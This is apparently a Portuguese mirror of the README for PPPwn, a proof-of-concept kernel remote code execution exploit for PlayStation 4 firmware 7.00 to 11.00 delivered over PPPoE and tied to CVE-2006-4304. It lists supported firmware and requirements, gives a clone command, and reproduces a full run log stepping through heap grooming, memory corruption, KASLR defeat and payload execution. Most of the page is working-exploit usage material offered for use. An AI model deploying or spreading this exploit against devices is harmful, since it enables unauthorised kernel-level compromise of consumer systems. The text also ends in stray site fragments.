PPPwn - PlayStation 4 PPPoE RCE

PPPwn é um exploit de execução remota de código no kernel para PlayStation 4 até a FW 11.00. Este é um exploit de prova de conceito para CVE-2006-4304 que foi reportado de forma responsável à PlayStation.

Versões suportadas:

FW 7.00 / 7.01 / 7.02
FW 7.50 / 7.51 / 7.55
FW 8.00 / 8.01 / 8.03
FW 8.50 / 8.52
FW 9.00
FW 9.03 / 9.04
FW 9.50 / 9.51 / 9.60
FW 10.00 / 10.01
FW 10.50 / 10.70 / 10.71
FW 11.00
mais podem ser adicionadas (PRs são bem-vindos)

O exploit apenas imprime PPPwned na sua PS4 como prova de conceito. Para iniciar o Mira ou outros habilitadores de homebrew semelhantes, o payload stage2.bin precisa ser adaptado.

Requisitos

Um computador com uma porta Ethernet
- Adaptador USB também funciona
Cabo Ethernet
Linux
- Você pode usar o VirtualBox para criar uma VM Linux com Bridged Adapter como adaptador de rede para usar a porta ethernet na VM.
Python3 e gcc instalados

Uso

No seu computador, clone o repositório:

git clone --recursive https://github.com/TheOfficialFloW/PPPwn

[+] PPPwn - PlayStation 4 PPPoE RCE by theflow [+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] STAGE 0: Initialization [*] Waiting for PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] Source MAC: 07:ba:be:34:d6:ab [+] AC cookie length: 0x4e0 [*] Sending PADO... [*] Waiting for PADR... [*] Sending PADS... [*] Waiting for LCP configure request... [*] Sending LCP configure ACK... [*] Sending LCP configure request... [*] Waiting for LCP configure ACK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure NAK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure ACK... [*] Sending IPCP configure request... [*] Waiting for IPCP configure ACK... [*] Waiting for interface to be ready... [+] Target IPv6: fe80::2d9:d1ff:febc:83e4 [+] Heap grooming...done [+] STAGE 1: Memory corruption [+] Pinning to CPU 0...done [*] Sending malicious LCP configure request... [*] Waiting for LCP configure request... [*] Sending LCP configure ACK... [*] Sending LCP configure request... [*] Waiting for LCP configure ACK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure NAK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure ACK... [*] Sending IPCP configure request... [*] Waiting for IPCP configure ACK... [+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141 [+] STAGE 2: KASLR defeat [*] Defeating KASLR... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] STAGE 3: Remote code execution [*] Sending LCP terminate request... [*] Waiting for PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] Source MAC: 97:df:ea:86:ff:ff [+] AC cookie length: 0x511 [*] Sending PADO... [*] Waiting for PADR... [*] Sending PADS... [*] Triggering code execution... [*] Waiting for stage1 to resume... [*] Sending PADT... [*] Waiting for PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] AC cookie length: 0x0 [*] Sending PADO... [*] Waiting for PADR... [*] Sending PADS... [*] Waiting for LCP configure request... [*] Sending LCP configure ACK... [*] Sending LCP configure request... [*] Waiting for LCP configure ACK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure NAK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure ACK... [*] Sending IPCP configure request... [*] Waiting for IPCP configure ACK... [+] STAGE 4: Arbitrary payload execution [*] Sending stage2 payload... [+] Done!

PPPwn

Mais Populares

Exemplo de execução

Notas para usuários de Mac Apple Silicon (arm64 / aarch64)